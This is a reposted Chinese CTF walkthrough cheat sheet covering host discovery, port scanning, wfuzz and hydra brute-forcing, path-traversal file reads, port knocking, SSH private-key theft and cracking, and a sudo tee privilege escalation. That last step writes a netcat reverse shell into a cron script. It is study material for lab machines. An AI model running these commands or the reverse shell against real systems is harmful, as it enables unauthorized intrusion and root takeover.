ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTF_攻击目标主机获取root权限及flag全流程分析详解

2022-08-20 02:00:56  阅读:138  来源: 互联网

标签:178.135 http .. CTF 192.168 flag ssh root id


一、主机发现

  1、nmap -sP 192.168.178.1/24     //ping扫描C段    2、arp-scan -l                          //感觉快一点   3、netdiscover -p  

二、端口扫描

1、nmap  -p 1-65535 -A 192.168.178.133         nmap -sV  靶场IP           //探测开放的服务和服务的版本       nmap -A -V  靶场IP        //探测靶场的全部信息       nmap -O 靶场IP            //探测靶场的操作系统类型与版本

2、masscan --rate 10000 -p 1-65535 靶场IP         //快速扫描

 

 

      nmap -p22,31337 -sV -A            //针对快速扫描发现的服务进行详细信息扫描

 

 3、目录枚举及文件查看

      dirb  http://192.168.x.x:80             //目录扫描(枚举)

      curl  http://192.168.x.x:31337/.ssh/id_rsa                     //查看某个路径下文件获取信息

 

三、利用80或者其他端口登录到一个web后

        1、查看源码(f12)

        2、有登录界面

         (1)判断是否存在sql注入(通过(‘ or 1=1 --+)万能公式),存在跑sqlmap

                  1)利用kali攻击机

                可参见:https://www.cnblogs.com/boomomg/p/16596957.html

       (2)暴力破解(burnsuite)

       (3)暴力破解(fuzz工具)    

                   场景1:

                         查询表中数据,发现大量用户及密码的表格

                         将表中用户名密码复制到notepad++,按ALT键复制用户名密码每列的数据到notepad并使用替换空格去掉空格保存为pass-dict,user-dict字典

                         使用fuzz爆破——通过上述两个字典

                         wfuzz -z file,user-dict -z file,pass-dict "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z"

                         wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z"   //加--hw 87过滤相同内容

        3、登录后或者无登录界面

            ( 1)存在利用FUZZ获取参数名                        场景1:                        wfuzz -w /usr/share/wfuzz/wordlist/genrual/commom.txt  http://192.168.178.133/index.php?FUZZ                        wfuzz -C -w /usr/share/wfuzz/wordlist/genrual/commom.txt  --hw 12 http://192.168.178.133/index.php?FUZZ   //获取fuzz参数为file                        curl http://192.168.178.133/index.php?file=location.txt   ——》获取真实参数secrettier360           (2)存在文件包含漏洞                        场景1:curl http://192.168.178.133/index.php?file=location.txt                                场景2: http://192.168.178.133/index.php?file=../../../../../../../../../etc/passwd       //再当前目录下去查看/etc/passwd文件,但不知到当前目录再那个界面               未完待续。。。    

四、SSH服务(22端口)

(一)、如何登录

        1、口令认证登录

                   1)   ssh simon@192.168.195.183 ——输入密码:                          //信息收集到用户名密码直接登录

                    2)使用Hydra对SSH用户名、密码进行暴力破解

                     场景1:

                     hydra暴力破解SSH用户名密码:

hydra -L user-dict -P pass-dict 192.168.178.135 ssh
或者hydra -L user-dict -P pass-dict ssh://192.168.178.135

得到:
[22][ssh] host: 192.168.178.135 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.178.135 login: janitor password: Ilovepeepee

      

        2、密钥认证登录

             场景1:目标:利用id_rsa私钥登录到目标服务器

                   1)利用目录扫描发现三个文件:   

                            id_rsa                            //私钥,     

                           authorized_keys          //公钥数据库文件集(可存储多个目标的公钥信息) 

                            id_rsa.pub                    //公钥

                   2)利用authorized_keys获取用户名

                             wget http://192.168.195.138:31337/.ssh/authorized_keys     

                            cat authorized_keys   //通过authorized_keys文件发现用户为simon

                   3)利用id_rsa登录目标用户

                          wget http://192.168.195.138:31337/.ssh/id_rsa            //wget下载目标文件

                           chmod 600 id_rsa              //id_rsa密钥文件权限只能为600

                           ssh -i id_rsa simon@192.168.195.183     //登录提示输入密码,怎么办??(注意:id_rsa为目标服务器密钥)

                    4)利用John破解私钥保护密码

                          a、利用子工具ssh2john.py转换为john the ripper可识别的哈希格式

                            locate     ssh2john.py         //定位ssh2john.py文件路径

                             /usr/share/john/ssh2john.py  id_rsa > ctf.hash

                       b、利用john破解

                            john  ctf.hash          //破解

                             john  ctf.hash  --show      //查看私钥密码为starwars

       

(二)、22服务端口被过滤

            1)防火墙或者用户限制登录

            2)存在端口敲门服务knockd.conf

                场景1:目标:获取端口22的访问权限 

                  a、 判断是否为端口敲门

                     nmap -p22 192.168.178.135

                                PORT STATE SERVICE
                               22/tcp filtered ssh
                               80/tcp open http

                    http://192.168.178.135/manage.php?file=../../../../../../../../../etc/knockd.conf                 

 [options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j       ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

              b、依次使用如下命令对各个端口进行敲门,打开22服务

nc -nv 192.168.178.135 7469
nc -nv 192.168.178.135 8475
nc -nv 192.168.178.135 9842

或者
nmap -p 7469 192.168.178.135
nmap -p 8475 192.168.178.135
nmap -p 9842 192.168.178.135

                nmap -P 22 192.168.178.135
                PORT STATE SERVICE
                22/tcp open ssh               //已经打开
                80/tcp open http

 

(三)、利用22端口通过ssh登录到某个用户后

              有以下信息挖掘方式:

                 1、whoami

                 2、uname -a

                 3、sysinfo

                 4、sudo -l

                 5、sudo su   ——输入密码

                 6、ls -a               //查看隐藏文件或目录,

                              如.ssh/id_rsa:

                             场景1:

                 

                  7、history

                  8、/etc/passwd

 

                  9、/tmp

                 10、/etc/crontab

心得:下边两个场景获得信息,要想获取某个用户(一般用户或者root用户),通过反弹shell执行目标用户具有权限的文件并监听,从而获取目标用户权限(包括msc)---------只要能触发执行,就能干shell盘它!!!

 第一种情况:目的是获取另一个用户权限

                 当前用户(通过crontab发现另一个用户具有计划任务自动执行某个文件,且当前用户没有该文件,)

               利用当前用户(创建该文件并将反弹shell写入此文件,利用反弹shell并开启监听获取到另一个用户的权限。)

 

来自:https://www.bilibili.com/video/BV1eq4y1x71H?p=10&spm_id_from=pageDriver&vd_source=a42355572f865b8eb799da280275502b

 

另一种场景:目的是获取root权限

               通过sudo -l  (发现tee文件【具有将一个文件{恶意脚本}写入另一个文件的功能】,

                                     同时另一个文件tidyup.sh内容说具有每三分钟自动运行一次的功能(相当于计划任务自动执行),

                                      由于当前用户也具有sudo的功能)

              所以通过tee命令将恶意代码  {nc -e /bin/bash  192.168.110.128 5555}写入到tidyup.sh等待三分钟执行,开启监听即可获得root权限

 

 

 来自:https://www.bilibili.com/video/BV1BL4y1w7ra?p=17&vd_source=a42355572f865b8eb799da280275502b

 

11、robots.txt

标签:178.135,http,..,CTF,192.168,flag,ssh,root,id
来源: https://www.cnblogs.com/boomomg/p/16603312.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有